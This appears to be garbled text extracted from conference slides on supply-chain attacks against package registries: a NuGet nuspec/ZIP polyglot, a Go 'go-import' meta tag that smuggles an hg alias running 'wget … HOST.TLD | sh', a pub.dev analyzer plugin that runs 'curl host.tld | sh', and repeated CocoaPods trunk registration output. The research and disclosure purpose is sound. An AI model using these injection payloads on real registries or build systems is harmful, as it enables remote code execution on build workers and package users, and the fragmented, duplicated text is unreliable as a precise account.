Database id = | newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg# v deps = [malicious] sub%2Fevil.nuspec ---> Polyglot (Db2Catalog) -> Selected PNG Header iconUrl=http://hack.er Normal.Package.nuspec id = Newtonsoft.Json Image ZIP Central Directory deps = [malicious] Catalog lib/net48/foo.dll iconUrl=http://hack.er ZIPBlobEOCD Storage ZIP azure://flat-container/newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg#/icon

Catalog2Icon

Background Job Upload lib/net48/foo.dll

- ID=Normal.Package Validation

Database id = | newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg# v deps = [malicious]
sub%2Fevil.nuspec ---> (Db2Catalog) -> Selected iconUrl=http://hack.er

Pwned! Normal.Package.nuspec id = Newtonsoft.Json Catalog lib/net48/foo.dll deps = [malicious]
iconUrl=http://hack.er Blob Storage azure://flat-container/
newtonsoft.json/13.0/newtonsoft.json.13.0.nupkg#/icon

Catalog2Icon

Background Job Victim 3+/3 \$ go get 'github.com/google/uuid@latest'

GOPROXY=https://proxy.golang.org,direct

proxy.golang.org/github.com/google/uuid/@latest

/@v/<chosen-version>.info /@v/<chosen-version>.mod /@v/<chosen-version>.zip go mod
download -json 'vcs.host.tld/...@main'

```
<html><head> <meta hg, svn, bzip, git, fossil name="go-import" content="HOST.TLD/foo/bar git  
http://VCS.HOST.TLD subdir/" /> </head></html> <html><head> <meta name="go-import"  
content="HOST.TLD/foo/bar hg http://HG.HOST.TLD/ --config=alias.cat=!wget${IFS}-  
O-${IFS}HOST.TLD | sh;" /> </head></html>
```

hg cat -r 67beef67 --config=alias.cat=!wget\${IFS}-O-\${IFS}HOST.tld | sh;/go.mod ... pub.dev

Developer Update metadata worker Analyze / Scoring / ... analysis_options.yaml

include: ./evil.yaml class EvilPlugin extends Plugin { linter: EvilPlugin() { rules:
Process.runSync('bash', ['-c', 'curl host.tld | sh']); plugins:

- avoid_print

} evil_plugin: // ... path: ../evil_plugin

pub.dev

Developer Poisoned! worker PWNED! ... \$ pod trunk register 'me@splitline.tw' [!] Please verify the
session by clicking the link in the verification email that has been sent to me@splitline.tw \$ pod
trunk register 'me@splitline.tw' [!] Please verify the session by clicking the link in the verification
email that 8-digit hex? has been sent to me@splitline.tw [!] Please verify the session by clicking the
link in the verification email that has been sent to me@splitline.tw \$ pod trunk register
'me@splitline.tw' [!] Please verify the session by clicking the link in the verification email that has
been sent to me@splitline.tw \$ pod trunk register 'me@splitline.tw' [!] Please verify the session by
clicking the link in the verification email that has been sent to me@splitline.tw \$ pod trunk register
'me@splitline.tw' [!] Please verify the session by clicking r 'me@splitline.tw' \$ pod trunk register
'me@splitline.tw' \$ pod trunk register 'm the session by clicking [!] Please verify the session by
clicking [!] Please verify the s rification email that the link in the verification email that the link in
the verific e@splitline.tw has been sent to me@splitline.tw has been sent to me@spl r
'me@splitline.tw' \$ pod trunk register 'me@splitline.tw' \$ pod trunk register 'm the session by
clicking [!] Please verify the session by clicking [!] Please verify the s rification email that the link in

